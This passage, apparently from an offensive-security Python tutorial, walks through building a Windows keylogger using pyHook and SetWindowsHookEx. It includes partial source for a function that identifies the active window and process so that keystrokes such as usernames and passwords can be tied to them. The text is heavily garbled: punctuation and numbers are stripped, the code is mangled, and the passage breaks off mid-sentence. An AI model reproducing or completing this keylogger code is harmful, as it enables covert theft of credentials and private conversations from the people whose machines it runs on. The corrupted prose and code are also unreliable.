keylogging is one of the oldest tricks in the book and is still employed with various levels of stealth today attackers still use it because it' extremely effective at capturing sensitive information such as credentials or conversations an excellent python library named pyhook[ enables us to easily trap all keyboard events it takes advantage of the native windows function setwindowshookexwhich allows you to install userdefined function to be called for certain windows events by registering hook for keyboard eventswe are able to trap all of the keypresses that target issues on top of thiswe want to know exactly what process they are executing these keystrokes againstso that we can determine when usernamespasswordsor other tidbits of useful information are entered pyhook takes care of all of the lowlevel programming for uswhich leaves the core logic of the keystroke logger up to us let' crack open keylogger py and drop in some of the plumbingfrom ctypes import import pythoncom import pyhook import win clipboard user windll user kernel windll kernel psapi windll psapi current_window none def get_current_process()get handle to the foreground window hwnd user getforegroundwindow(find the process id pid c_ulong( user getwindowthreadprocessid(hwndbyref(pid)store the current process id process_id "%dpid value grab the executable executable create_string_buffer("\ h_process kernel openprocess( falsepidpsapi getmodulebasenamea(h_process,none,byref(executable), now read its title window_title create_string_buffer("\ length user getwindowtexta(hwndbyref(window_title), print out the header if we're in the right process print print "pid% % % ](process_idexecutable valuewindow_ title valueprint close handles kernel closehandle(hwndkernel closehandle(h_processall rightso we just put in some helper variables and function that will capture the active window and its associated process id we first call getforegroundwindow which returns handle to the active window on the target' desktop next we pass that handle to the getwindowthreadprocessid